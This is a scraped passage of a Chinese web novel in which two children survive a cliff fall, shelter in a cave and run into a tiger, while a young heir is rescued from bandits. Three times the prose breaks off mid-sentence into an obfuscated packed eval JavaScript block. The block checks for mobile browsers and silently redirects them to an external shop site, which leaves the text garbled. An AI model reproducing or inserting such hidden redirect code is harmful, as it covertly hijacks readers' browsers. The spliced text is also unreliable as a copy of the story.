苏茴鼻子一酸,闭眼回头,抖着声音:“想活命……我想活命。” “很好。” 子车仪蓦地松手,苏茴便从空中落下摔了个屁股蹲,她抬头,高大的人影就这么全然将她覆盖。 像一座大山覆盖,压得人难以喘息。 子车仪居高临下地睨着她,嘴角勾起一抹恶意的弧度:“去,拔了匕首,杀了他,你就能活命。” 冰冷的声音冻结了苏茴的血液,她不可置信地看着子车仪,张了张嘴,却没能发出声音。 “还在等什么?”子车仪踹了一脚,“不去,我现在就杀了你。” 本就全身疼痛的苏茴,挨了一脚后,更是感觉自己骨架都要碎裂,她艰难地起身,一点一点走向悬崖,最终停在谢岁安面前,却没有下一步动作。 子车仪再受不了这慢吞吞的进度,拔了腰刀抵在苏茴的后背,声音比寒风还冷:“拔出匕首,杀了他。” 苏茴抖着指尖拔匕首,匕首脱离血肉的声音和谢岁安的闷哼同时响起,她抬头,就见谢岁安额头细汗密布。 眼泪再度汇集,刷刷从眼角滑下:“对不起小哥哥,真的真的对不起。” 孩童哽咽绝望的哭泣声随着寒风融入夜色。 谢岁安却笑了起来,他抓住苏茴的手,眼带鼓励,带着她的手往前。 苏茴心中一颤,差点将匕首丢出去,但她最后还是稳住了身形,红着眼猛地向下一刺! 子车仪双目猩红,几近狂喜地看着这一幕。 被自己拼尽全力所保护的人杀会是什么样的一种感觉?比起身上的刀口,心里更是痛如刀绞吧?哈哈哈,这就是得罪他的下场!任何得罪他的人都该…… 骤然的痛打断了他的思绪,‘啪嗒’,手一松,那腰刀便这么掉落在地。 子车仪转了下手腕,疑惑地看着那插入自己右手的匕首——那本该插入谢岁安心脏的匕首。 谢岁安一把拉过苏茴,抄起地上的腰刀,在子车仪还没反应过来时,猛地向前一掷。 那刀,就这么贯穿了子车仪的心脏。 子车仪在倒下去前,终于回神,他对上谢岁安那冰冷的眼神,紧绷的神经终于断裂。 “哈哈哈,我早该知道的,你们就是我的死劫,我居然还傻傻的向你们身边凑。”他狂笑着吐出一口血,眼神梭然凌厉,“但是——你们也别想活!” 他凝聚起最后一口气,左手一掌拍在身下的断崖,本就凸出缺乏支撑的崖面倏然断裂。 崖面分崩离析的太快,谢岁安根本来不及反应便坠了下去,下落的片刻,他还拉着苏茴的手。 两人坠落的速度很快,阻力也越来越大,谢岁安在最初的茫然后,下意识的将身下的人抱住,将人禁锢在自己的怀中。 …… 陈子非几人被带离黑风寨,一路上转了好几道弯,从开始的山间大路一路转到小道。 眼见着土匪还想将他们往丛林深处带,陈子非顿步,叫停:“也是辛苦几位带我们出来,下山的路我们认识,天色也晚了,就不劳大哥们,大哥们还是赶紧回寨子吧。” 为首的土匪:“这说的什么话,寨主可是一定要我们把你们安全送下山,公子还是莫要为难我们,走吧。” 说着,他还做了一个请的姿势。 客气的话语,客气的姿态,但这越来越偏僻的道路,却暴露了他们的真实想法。 陈子非的笑僵在脸上,他没有再往前走,只是盯着他,空气就这么一瞬间凝固。 不妙的氛围在两拨人之间攀升,李书等人不动声色的往陈子非旁边靠,手也悄然握紧。 为首土匪收了手势,看向陈子非的眼神带上不悦。 “公子这是不愿意再向前走了?” 陈子非不言。 “行吧,这里也行,”他语调淡淡,眼神却覆上杀意,“杀!” 李书率先反应,他一拳击倒离他们最近的土匪,夺了他的刀,与其他土匪厮打在一起。 其他人有样学样,纷纷加入战斗,土匪们则是全全拔刀,一刀一刀砍向李书等人。 入夜的丛林小道,很快陷入一片混战。 陈子非不会武功,被众人护在中间,眼见着土匪头子的刀就要劈向李书的头颅,他一口气提到了嗓子眼,在一声‘小心’即将出口时,李书一个背身躲过。 陈子非微松口气,神经却依然紧绷,砰砰的心跳捣若擂鼓。 就在这一片刀光剑影中,一道箭影忽破空而至,带着绝对的杀意一箭贯穿为首土匪的脑颅。 为首土匪举着劈砍的长刀,还没反应过来究竟发生了什么,只感觉脑门一阵剧痛,箭矢的尾羽就这么钉在了他眼前。 他瞪大眼,不可置信的向后倒去。 陈子非一愣,回头,一个本不该在此处的少女身影出现在道路尽头。 她一身红色劲装,高高的马尾梳在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17550972|204339||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脑后,手握着一把长弓,在又连发了几箭解决土匪之后,才将视线落在陈子非身上。 陈子非霎时红了眼,再顾不得其他,他猛地奔向少女,一头扎进她怀里。 “姐姐……姐姐,我好想你,我差点以为,我再也见不到你了。” 连日的担惊受怕,疲惫奔波,在见到心上人的这一刻,变成无尽的委屈,化作泪水洇湿萧飞月的肩头。 “没事,没事,我来了。” 萧飞月揽住这比自己还要高一个头的少年,轻轻拍了拍他的背,温声细语的安抚。 李书本来还想着跟自家少主打声招呼,结果一回头就看到这么一幕,一时间有些手足无措,上也不是,退也不是,尴尬的和其他人对视。 还是陈林最先反应,直接转头背身过去,其他人见状,也有样学样。 好在这样的尴尬很快结束,陈子非在最初的情绪发泄后,很快想起了正事。 他从萧飞月的颈窝抬起头,下意识的抓紧她两侧的衣袖:“姐姐,岁欢他还在上面,在土匪窝里面,小茴被之前那个班主抓走了,不知道去了哪里……你救救他们,如果他们出事了,我……” 听着他语无伦次的着急语调,萧飞月温声打断:“好,好,我救他们,你别急,先把来龙去脉跟我说下?” 面前女子温和的声音带着无言的力量,让陈子非混沌的思绪归位,他很快组织好语言,将事情简洁精准的概括于她。 萧飞月点头,表示自己已经了解清楚。 “小翠,你带着公子他们下山,”说着,扔了一块令牌给她,“把我们留在丰西的人都召集起来,派人先报官,再书信给最近的万龙分点,让他们安排人手来丰西。” “是,小姐。” 跟在萧飞月身后一青一紫两个女子中,青衫女子出列领命。 萧飞月的视线又转向李书:“你们跟着公子一起下去,小翠会带你们去安置好的客栈,你们照顾好公子。” “是,少主。” 最后,萧飞月的视线转向陈子非:“你先下山,好好休息,你放心,人我一定给你带回来。” 陈子非其实想跟着萧飞月一起上去,但他也清楚,他着实帮不上任何忙,萧飞月还要担心他的安全,这种时候,他只会是个拖累。 于是最后,他也只是不舍的拉了下萧飞月的手,哑声道:“好,我在下面等你。阿月你小心,不要勉强自己,一切以自己为重,实在不行,小茴和岁欢……我们可以再想办法……” 他当然希望萧飞月可以将两个孩子救出,可他也明白,那土匪窝凶险。 虽不知萧飞月怎么会出现在这里,但一看她就是匆匆赶来,他们一行十几个人都差点折在这里,更不要说萧飞月只带了两个贴身的武婢。 岁欢和小茴已经被迫陷入龙潭虎穴,万不可再搭进去一个萧飞月。 萧飞月挑眉:“阿月?怎么不叫姐姐了?” “?” 本在忧心忡忡叮嘱的陈子非万万没想到萧飞月的关注点居然在这,一时间羞愤夹着无语涌上头,他恼怒的瞪她:“都什么时候了,你怎么还有心说这个?” 陈子非十四岁之后就不怎么叫萧飞月姐姐了,都是叫她阿月。刚刚劫后余生,那称呼不知怎么就脱口而出,现在他脑子已经清醒,就不怎么叫的出口了。 萧飞月哈笑两声,见陈子非终于不再是一副自责的模样,收了调笑,正经地看他:“你放心,我就上去看看,不会乱来的,一定等大部队来了再行事。” “好,我现在就下山搬救兵。” “嗯,我在山上等你们。” 萧飞月很快与陈子非分道而行,跟着陈子非说的路线走到一半,却忽然顿步。 甚至不需要抬头,那冲天的火光就这么点燃半片天际,晚风拂过,烈火燃烬一切的焦原味从鼻尖流走。 她伸手往空中一抓,蕨类植物碳化的躯干就这么在她掌心碎成灰黑色的粉末。 “小姐,我们还要上去吗?” 紫色衣裳的紫荆拉了下她的衣袖,面带犹豫的问道。 “去,更要去了。现在寨内必定一片混乱,是最好劫人的时机,我们现在就去把人带出来。” 14. 求生 从悬崖崩裂坠崖到被谢岁安搂紧在怀中,一切都是那样的快,苏茴整个人都是懵的,完全没反应过来发生了什么。 直到那种下坠感骤停,她被抱着向上轻弹了一下,才终于从心慌的感觉中稍稍清醒。 她屏息着转了圈眼珠,发现左侧是见不到底的漆黑,右侧则是冰冷的石壁。看来他们没有直接着陆,而是被什么兜住,滞留在半空中。 不等她再看更多,身后传来一声痛苦的闷哼,苏茴一下子被吸引了注意力,她猜测是谢岁安受伤了,着急的就想转头去确认他的情况,然而谢岁安的手臂死死的勒着她,她根本无法动弹。 “小哥哥……” 一句话才说了个开始,‘咯吱咯吱’的声音忽地从石壁侧响起,一瞬间,有什么东西骤然断裂,那失重的感觉又重新出现,她未说完的话就这么融入下坠的风中,消失不见。 谢岁安把她搂的更紧了,紧到苏茴甚至觉得有些无法呼吸。 不知道是因为脑子清醒了一些,还是距离的问题,第二次下坠的时间似乎更长,过程也更加煎熬,尽管苏茴已经被圈在怀抱中,猎猎的寒风依然刮得她脸生疼,窒息感和失重感也难受的让她想吐。 就在苏茴觉得自己要坚持不住吐出来的时候,那失重感终于再度消失,随着一声沉闷的砰响,像是撞击到什么肉物,谢岁安搂住苏茴的头在地上滚动几圈,几阵天旋地转后,终于停了下来。 苏茴一阵眩晕,想吐的感觉更加强烈,她晕晕乎乎的挣扎了下,这次居然挣脱了束缚。 她霎时回神,努力吞下恶心感后站起,赶忙去检查谢岁安的情况。 他昏迷了过去,身上的衣服破损数处,露出来的手肘、腰腹、大腿上伤痕不计可数。 藤蔓勒绞的淤痕、撞击冲力形成的青紫、刮蹭摩擦留下的挫伤,还有那大腿上最为严重的两个血窟窿,密密麻麻的伤痕,数也数不尽的淤青,混杂在猩红的鲜血中,让他看起来像受尽折磨后随意丢弃的尸体。 苏茴呼吸一窒,脑内的支柱轰然倒塌。她白着脸,抖着手蹲下,半天才对准他的鼻息。 气息微弱,但不是没有。 还活着! 大悲过后又是一阵大喜,苏茴忍不住掉下泪来。 太好了,只要还活着,只要还活着……她一定能救他的,一定。 泪水模糊了她的视线,却根本止不住,她越擦,反倒越多。 可是没有时间让她去管理情绪了,小哥哥如此虚弱,随时都可能弃她而去。 “啪、啪、啪——” 几道清脆响亮的巴掌声在夜空中响起,苏茴终于感觉自己冷静下来,眼泪也憋了回去。 她简单的给谢岁安大腿的血窟窿清理了下碎石,又从自己的里衣兜里面搜出几包药粉,仔细辨认了下,将治疗外伤的那包倒在大腿的伤口处,一包药粉着实量小,只勉强止住谢岁安左腿的出血。 苏茴将目光投向谢岁安的胸膛,开始扒他的衣服。 入山前,李书担心大家在山上遇到突发的状况,于是让每个人都随身携带一份金疮药、一份防虫蛇蚁毒的药、一份解瘴气的药。 在土匪窝的时候,土匪搜身只关注是否携带武器,药放在里衣内侧,倒是没有被搜出来。 此时,这三份有备无患的药,倒成了救命稻草。 摸索了一阵,苏茴成功的将谢岁安的三份药找出,她拿过金疮药倒在谢岁安另一条腿上,右腿的窟窿终于也止住了血。 苏茴撕扯下裙摆几根布条,将其一圈一圈缠裹在岁安大腿的伤口上,一则防止药物被蹭掉,二则作为伤口最简易的保护。 一阵寒风吹过,入骨的冷意便从肌肤刺入骨髓,她忍不住打了个寒颤。 必须要尽快找个可以挡风过夜的地方,否则他们非冻死在此处不可。 苏茴起身,张望四周,过夜的地方还没着落,扫略的视线却蓦地顿住。 那是一片银灰色的蕨丛,丰西不似崇阳和白云,即便是冬天,植株生长的依然茂密,而那本几乎与她同高的蕨丛,此时却被压的弯扁下去,仅比地面高一点。 压着它们的,是个人。 是子车仪。 苏茴盯着那躺着一动不动的人,余光瞥到人影旁边有一把长刀——是之前谢岁安飞插到子车仪胸口的那把,应是在坠崖时受撞击冲力掉出来的。 苏茴缓步向前,摸起那把长刀,双手握柄抵着地上的人靠近。 地上的人紧闭着眼,苍白的脸色中透着灰青,被刀刺入也毫无反应,看起来死的不能再死。 她蹲下,确认地上人的状态,没有呼吸,没有心跳,身体也冷的发僵。 苏茴提着的心落下,她放下刀,上手把子车仪的衣服脱了。 僵直修长的大人身躯对苏茴来说过于庞大,折腾了好一会儿才把他的衣服扒下,脱到里衣的时候,还发现了一个火折子。 苏茴一喜,赶忙收好火折子,又卷起那比她长太多的衣服,抱在怀里向谢岁安跑去。 她把衣服展开盖在他身上,又找了几块石头压住宽大衣物的边角。 “小哥哥,你在这里等我,我很快回来。” 苏茴没敢走的太远,就在周遭寻找着今晚的安置点。 他们掉落的地方相对比较空旷,脚下是一片乱石滩,周围时不时有大片蕨类植物聚集成丛,不远处还有几块比她还大上许多的巨石,而再远一点,是望不到头的松树林。 她围着那几块大石头转了几圈,石头之间间距很大,根本挡不住风的吹刮,推了下石头,纹丝不动。 苏茴从旁边捡回来一根长棍,又在大石头前面垫下一颗小石头,用长棍搭上去努力撬了下,依然没动。 她扔了棍子,手脚并用着爬上了石面,有些泄气的坐下。 一通折腾,力气耗费了不少,收效却没有。 一阵夜风刮过,她忍不住抱臂搓了搓,看谢岁安依然安静的躺在那里。 怎么办?天越来越冷了,她还没有找到可以过夜的地方,再这样下去,他们会冻死的,何况小哥哥还伤的那么重。 为什么躺在那里的是小哥哥,不是她?如果醒着的是谢岁安…… 绝望软弱的情绪在冰冷寒夜中轻易蔓延,瞬间将人击溃。 “啪——” 一道比之前更加响亮的巴掌声响起。 苏茴摇摇脑袋,将混沌的思考倒出,重新站了起来。 夜风还在乱石滩游走,吹起她破损的下摆翻飞,好几次,她都差点被风吹下巨石,但她还是站稳了。 双明丽的眼睛在不断地观察四周、近处、远处,终于在不知道第几个来回后,蓦地顿住,她的视线锁定在悬崖石壁侧灌木丛生的某一处。 她眼眸一亮,急忙从巨岩爬下,快步跑了过去。 灌木丛对她来说略高,且枝叶密集,她费了一番力气才挤进去。 穿过灌木丛,石壁上层层藤蔓攀延,而在那藤蔓游走延伸的地方,赫然出现一个三尺高的山洞。 “!” 是山洞!她刚才果然没看错,里面闪了几点晶亮的光! 她压下欣喜,放慢了速度,轻手轻脚的踏了进去,非常注意的尽量减小动静。 洞内没有人,也没有动物,只有几根细细的藤蔓蜿蜒至洞顶,看起来像个废弃无主的地方。 山洞不大,但容纳两个小孩不成问题,而且十分隐蔽,它的洞口几乎被灌木丛全全遮挡,如果不是那点晶亮,她也难以发现。 洞口旁边有几块漂亮的石头,在漏进的月光中,闪耀着莹白的光辉,苏茴捡起来仔细观察了下,形状规整, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17550973|204339||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晶莹透亮,应该是某种晶石。 这个看起来倒是跟这个山洞格格不入。 场地安全,又四面挡风,这就是最佳的过夜地点。 找地方花了不少时间,后面把谢岁安弄进来也是个大工程,苏茴不敢休息,她略微考虑了几个方案后,便开始行动起来。 她把长刀捡起,将刚才钻灌木丛压出的路劈得宽敞了些,又在石壁上砍下几根细长却又坚韧的藤蔓,最后捡了一些长棍子,才拖着收集好的材料走到谢岁安身边。 苏茴将棍子横竖交错着插到谢岁安身下,又在棍子交叉的地方用柔韧的藤蔓绑紧,这样就做好了一个简易的车板。 车板花费了她不少力气,她不得不停下,稍作休息后才继续取出剩下的藤蔓固定在车头两端,做了一个拉绳。 她试着拉了下这辆简单的不能再简单的“车”——还算坚固,也很费力气,但不是不能动。 她们的位置距山洞稍微有一点远,路况大致可以分成三段:小幅度上坡的碎石滩,平缓的植被坪,以及茂密的灌木丛。 首当其冲的就是最困难的上坡路段。 苏茴使出吃奶的力气拖着车板缓步挪动,挪几步就要停下休息,休息片刻又继续拉车,就这么走走停停,也不知过了多久终是走完上坡路段的大半。 眼见就要将车拖上坡,苏茴欣喜之余再度感到力竭。 她正想稍作休息,却一个不查被石头绊倒,本就发昏的脑子和身体根本无法迅速反应,啪的一下摔倒在地。 “嘶——” 苏茴倒吸一口气,却根本顾不得自己的伤,急忙抓紧了胸口的藤蔓,转头见谢岁安还平稳的躺在板车上,才放下心来,一屁股坐在地上。 尖锐的疼痛自掌心和膝盖传上,原本白嫩的掌心勒痕遍布,好几处刮蹭出血。 细密的擦伤口子满手都是,最严重的一道,甚至刮开了一层皮肉,细薄的皮肉翻卷着,沾满灰土与稀碎砂砾。 苏茴忍着痛清理出砂砾,又撕咬下一道布条,缠裹在双手上。她试着动了动腿,倒是不影响活动,膝盖估计也擦伤了,但应不严重,她也就没管了。 又歇息了好一阵,痛感褪下去不少,力气也恢复了一些,苏茴起身,再度拉起了车板。 一使劲,钻心的痛又从手上口炸开,但她只是咬着牙,紧握着藤蔓一步一步艰难的向前移动。 终于,在月亮高悬正空之时,她将人拖到了山洞里。 苏茴累的瘫倒在地上,喘了好几口粗气后勉强起身,蹲坐着检查谢岁安的状态。 呼吸比之前更微弱了,而且他的身上很冷很冷,人都有些冻僵了。 于是她拖着疲惫的身子再度跑出去,大概一炷香的时间,她抱回来一小堆柴火和一些干枯的蕨类植株。 她将蕨类植物铺了一小堆,又把柴火放到上面,掏出火折子点燃。 干枯的芒萁是最好的火引,遇火则燃,很快漆黑的山洞便亮起温暖的光。 苏茴又跑出去几趟,多捡了一些柴火,又砍回来一些新鲜的芒萁,她把芒萁铺成长方的一块,又把从子车仪身上扒下的里衣铺了上去——一个“床”就这么临时搭建出来。 她小心翼翼的把谢岁安挪到‘床’上,又把多余的衣物给他盖上,火堆不断燃烧,散发的热意逐渐烘暖山洞。 苏茴摸着他回暖的身子,听到他渐渐恢复的呼吸,终于笑了起来。 她轻轻的抚了抚那张依旧紧闭双眼的脸:“哥哥,你一定会好起来的,对么?” 低低的呢喃在山洞也消散的很快,回应她的,只有柴火烧裂开的噼啪声。 今晚的行动完全超出负荷,原本憋着一口劲的苏茴,在谢岁安的情况好转后彻底松下,巨大的疲惫感一下子将她击倒,她连自己什么时候昏睡过去都不知道。 15. 大雪 谢岁安醒来时,恍惚了很久,直到太阳穴突突直跳,脑内传来一阵一阵的钝痛,意识才终于从模糊中回归。 他尝试起身,却才稍动了下,一股恶心感便立刻从胃里涌了上来,翻江倒海。 他只好维持着原来的姿势,开始观察周遭的环境。 他记得自己是摔下了悬崖,但现在这里看起来是——山洞?他怎么到这里来的? 还有小茴……是了,小茴在哪里? 不等他想出个一二,脑内的痛骤然变得尖锐,像有无数根针在扎。 他额角顿时冒出一层细密的冷汗,谢岁安咬牙,努力闭了闭眼,疼痛才稍稍缓解。 “哥哥?” 苏茴一回来便见谢岁安这幅极其痛苦的模样,吓了一跳,赶忙放下新摘的果子,快步上前蹲下。 "你怎么样,还好吗?" 谢岁安睁眼,苏茴那张神色担忧的脸便映入眼帘。 苏茴从旁边端来一小篮子水——篮子是用一片大树叶折成的,这还是娘亲教她的。她给谢岁安喂了些水,他的脸色终于有所好转。 “要不要吃点东西,我摘了点寒莓。”这是之前在山上,谢岁安给她摘过的果子。 “扶我起来,东西先不吃,头疼恶心的厉害……” 苏茴卷了下衣服垫着,才小心的将他扶起,让他靠坐在石壁前。 好一会儿,那股头疼恶心之感终于缓解,谢岁安这才询问起苏茴,昨天落崖他昏迷之后都发生了什么。 苏茴一一应答,将昨天她做的事情全权告知于他。 谢岁安惊讶,他没想到眼前这个小女孩竟然做了这么多。 苏茴不比他,从小习武,天生大力,她只是一个五岁的小孩,尽管之前对她进行了一些体魄方面的训练,也只是处于打地基的阶段。 她的身体和精力,都不应当支持她完成如此超负荷的运动。 这不符合常理。 但,人的意志和信念,本身就不可用常理估量。它们常常迸发出蓬勃的力量,让人完成一些似乎只能用‘神迹’来解释的事情。 看着苏茴闪亮的鹿眼,谢岁安怔忡。 “小茴做的很好……” 他夸了一句,视线忽停在她缠着布条的手上,声音惊诧:“你的手怎么回事?让我看看。” 苏茴却只摇头:“只是一点点擦伤,没事的,倒是小哥哥你……” 她看他的腿,又抬头看他:“小哥哥,你的腿怎么样了?我该怎么做才能让你好起来?” 已是仲冬,山上愈发寒冷,甚至今天早上还飘了点小雪。 天气严寒,缺衣少食,谢岁安若不尽快好起来,他们两个都得死在这儿。 谢岁安尝试动了动自己的腿,左腿还好,只是看着恐怖,实际伤的不深,他动手时特意找好的角度,但右腿就没那么乐观,为着骗过子车仪,右腿虽然没伤到筋骨,却是实打实的捅了进去。 腿伤加上昨夜摔下悬崖导致的脑震荡,一时半活儿是走不了了。 谢岁安正思索着,脑内又传来一阵阵痛,他痛的闷哼一声,在苏茴着急关切的眼神中,最终描绘了几种草药的特征。 苏茴应声答好,就要出去找的时候,又被谢岁安叫住,她站在洞口,回头。 “你之前说,子车仪的尸体还在外面,是吗?” 苏茴点头。 “找点树枝树叶、石头什么的,把他的尸体掩藏下,万一土匪们循着他的尸体找上我们,那可不妙。” “好。” “还有就是,不要跑太远,小心遇到猛兽,一旦遇到危险,跑,不要犹豫;遇到人的话,躲起来观察下,确定不是土匪坏人,可以尝试求救,但还是要小心……” 苏茴认真的听着他讲完,点点头:“还有其他要嘱咐的吗?小哥哥。” 寒风吹动洞口的藤蔓轻晃,光线从洞口撒进一寸,苏茴背着光有些看不清楚神色,只有清脆稚嫩的声音在洞内回荡。 这是一个五岁的小孩,她甚至还没有洞口的一半高。 但就是这样一个小不点,昨夜救了他的命,现在也是他唯一的依靠。 “……没什么了,你一切小心。” 苏茴露出一个灿烂的笑,朝他举手握了握拳:“哥哥放心,我不会有事的。” 苏茴按照谢岁安说的,将尸体掩藏好,又在附近逛了几大圈,将有些相似谢岁安所描述的草都摘了一部分回去。 谢岁安从中挑出几个能用的,苏茴根据他选的,将附近能用的草药都摘了回来。 上了药,吃了点果子,昏沉混沌的感觉再度袭来,谢岁安又昏睡过去。 虽然正值寒冷的冬季,但谢岁安右腿的伤口实在太深,于是在二人落崖的第二天晚上,他开始发起了烧。 苏茴急的不行,却是没有办法,附近顶多能找到点消炎的草药,却没有退烧的。 苏茴撕了好几块布缠裹了植物,浸湿了水,放在外面冻硬,不断轮换着给他降温。 大概是苏茴的努力感动了上天,又或者谢岁安确实命不该绝,在他发烧的第四天晚上,终于渐渐降温,到了第五天早上,烧彻底退了下去。 再度醒来的谢岁安,看着旁边疲累睡倒的苏茴,心中五味杂陈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17550974|204339||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他想伸手摸摸她的脸,却连这点力气都没有。 最终只能自己的脸轻轻碰了碰她的脸颊:“谢谢你。” 大概也是从这个清晨开始,他知道他再也没法放下她。 苏茴一觉睡到了中午,她从噩梦中惊醒坐起,低头发现谢岁安在,才松口气。 她伸手覆上他的额头,正想对比下两人额头的温度,谢岁安睫毛颤了颤,睁开了眼睛。 “小哥哥,你醒了!”苏茴惊呼。 “嗯……”谢岁安含笑看她,“辛苦你了,有没有被吓到?” 虽然退了烧,伤口最凶险的几天终于过去,但谢岁安的双腿依然无法行动,两人只好继续呆在崖底的山洞。 又过去七天,附近能摘的草药和食物早被苏茴扫荡,她甚至大着胆子走出离山洞有些距离的地方,但冬季山上的食物本就稀少,两人还是几乎要走到粮绝的地步。 再又一次逮鸟失败后,苏茴挫败地将那藤蔓编织的小篮掀开,愤愤吃掉了那用来诱捕鸟儿的寒莓。 她的野外生存能力果然是零,既不认识蘑菇,也抓不到鸟。 就在苏茴沮丧地回到山洞后,发现谢岁安站了起来,正拄着拐站尝试行走。 她一惊,赶忙上前扶住:“哥哥,你的腿……” 谢岁安安抚看她:“没事,已经好多了,用拐杖能走的,就是速度慢。” 他挪动几步给她看。 “小茴,我想过了,我们明天就离开,子非哥要么是没想到我们掉到了这个鬼地方,要么是……出事了。”否则不会这么久不来找他们。 崖底呆的这段时间,谢岁安一边养伤,一边也抱着一丝希望,希望着陈子非带人突然出现把他们带走。 但十几天过去了,什么人都没有出现,包括之前他担心过的土匪。 “这天越来越冷了,我怕再过几天会下雪,一旦大雪封山,我们就彻底困死在这里。” “今天还要辛苦你再找找食物,我们收拾休整下,明天一早就出发。” 苏茴没有二话,将附近能找到的吃的全全搜刮,谢岁安则是在洞内打包了下行李,但其实也没什么好打包的,二人的东西着实少的可怜。 一个火折子,两包防虫的药,两包解瘴气的药,还有几件破损的衣物,再没有更多了。 因着第二天要赶路,这一天两人休息的格外早,只是人算不如天算,他们还是没能走成。 就在他们休憩的时候,大雪忽至。 雪飘了一晚上,短短一夜,就将整个山头都覆盖上厚厚一层。 二人不得不继续停留山洞内。 16. 带离 在雪下到第三天的时候,尽管他们已经尽量节省,食物还是被吃完了。 听见一阵又一阵的咕隆声,谢岁安摸了摸苏茴的脑袋:“这两天雪小了很多,我们明天出去看看能不能找到吃的。” 雪后的山林更加荒芜,地上的草被大片大片的冻死,树上枝头挂着雪,动物们更加不爱出来,之前还能看见几只鸟,现在却是什么都没有。 因为谢岁安行动不便,除了开始的时候一起走了段,后面苏茴就让他呆着,自己向外探索。 她这次走的比之前更加远,却依然没找见能吃的东西,眼见着再走要找不到回去的路,她只好放弃,折了一只树叶把雪抖落后往回走。 粗粝叶子的干涩苦味在味蕾间炸开,苦的苏茴龇牙咧嘴。真是好难吃的叶子。 苏茴将树枝递给谢岁安,一脸沮丧:“哥哥,没东西了,我们只能吃这个。” 谢岁安摘了几片吞下:“好吃。” 苏茴掀起眼皮看他,见他咀嚼的面不改色,在他手臂上蹭蹭:“嗯,好吃。” 手臂上的头将脸全部埋进臂弯,只能看见一个毛茸茸的后脑勺。 他伸手摸摸,不小心触到她冰冷的脸颊:“我们再捡点柴,天色不早了,先回去。” . 灯火琉璃的客栈热闹非凡,食物的香气溢满整个包房,苏茴流着口水看着面前那一桌美味佳肴,恨不得直接扑上去。 陈子非给她和谢岁安一人盛了一大碗饭,又给她们一人一个鸡腿:“来,吃饭。” “谢谢子非哥。”苏茴饿狼般接过,一口咬上金灿油光的鸡腿。 呜呜,肉,这才是人该吃的食物,这肉真好……不对,怎么是苦的? 苏茴醒了,咂巴了下嘴,小脸顿时被苦成一团。 这几日啃树叶树皮啃得整个人都是树味,任怎么喝水吃冰都消不下去。 她痛苦地倒了下去。 呜呜呜,肉,她的肉,那么香,怎么会是梦!她真的、真的好想吃肉! 甚至肉香都从梦里面溢出来勾引她。 溢出来……苏茴鼻头动了动,睁眼转头。 谢岁安正在火堆旁烤着什么,见她醒来,举了举手上串着兔子腿的尖木棍:“醒了?今天有肉吃。” “!”苏茴直接蹦过去,眼冒狼光,“哥哥,你从哪里抓的?” “早上听见外面有动静,出去刚好看见它出来觅食。”说着,他将兔腿一分为二,递给苏茴一份。 苏茴一时什么也不管了,迅速接过,撕咬着吃了起来。 两人对来之不易的肉吃的很珍惜,每次都只吃一点,剩下的埋在雪里面冻着。 经过半个月的恢复,谢岁安的腿好了不少,拄着拐杖,已经能短距离的走路,就是要走一段歇一段。 两人后面也试图再抓点什么野兔野鸡的,但都是空手而归,那天碰见那只兔子出来觅食,纯属谢岁安运气好。 再一天什么都没逮到,苏茴拿着一捆树枝不断心里默念:兔子、野鸡……什么都行,老天,来个能吃的肉吧。 见她一副虔诚祷告的模样,谢岁安跟在后面忍不住弯起了唇。 他正想说点什么,却忽地脸色一变,拉住苏茴示意她噤声。 再往前走一段,就能回到他们的山洞,但谢岁安没像之前一样继续走这条道,而是拉着苏茴,从更加茂密的树林靠近山洞。 苏茴不知道发生了什么,只顺从而疑惑地跟着他,直到在树林边缘停下。 她嘴巴张大,借树掩着身形震惊看向前方。 我的老天爷,我是说来个能吃的肉,但这个……到底是谁吃谁? 在山洞的不远处,一只略清瘦却依然身形庞大的老虎现身,它刨了一个坑,正低头哼哧哼哧的啃着什么。 苏茴仔细辨认了下,它在嚼的是一只人手——老虎啃食的犬齿露出了一节指头,而那个位置,正是之前掩埋子车仪的地方。 苏茴霎时紧张地攥紧身旁人的袖子,看着很是不安。 谢岁安同样紧张,他握紧她的手,牵着人想悄悄离开。 正啃食尸体的老虎将嘴里的肉块吞下,耳朵动了动,似有所感,蓦地转头,盯向树林恰与苏茴视线对上。 苏茴的身子瞬间僵住。 “跑!” 低喝唤回她的神志,但脑内依旧一片空白,下意识拔腿就跑,等跑出去好一段,才忽然清醒。 不对,旁边的人呢?小哥哥去哪儿了? 找不见人,她又往回跑,等她气喘吁吁地再次进入树林边缘,便看见谢岁安和老虎正在缠斗。 谢岁安退至一棵大树下,似乎是想爬上去,但碍着腿上的伤,最终没能成功。 老虎步步逼近,几下到了人前,张着血盆大口向前咬去。 谢岁安反应飞快,立即倒地向前一滚,老虎就这么吃了个空。 苏茴吓的脸都白了,眼见着老虎又要发起攻击,急忙抓了把地上的石子,用力向前一掷,全全砸在老虎的屁股上。 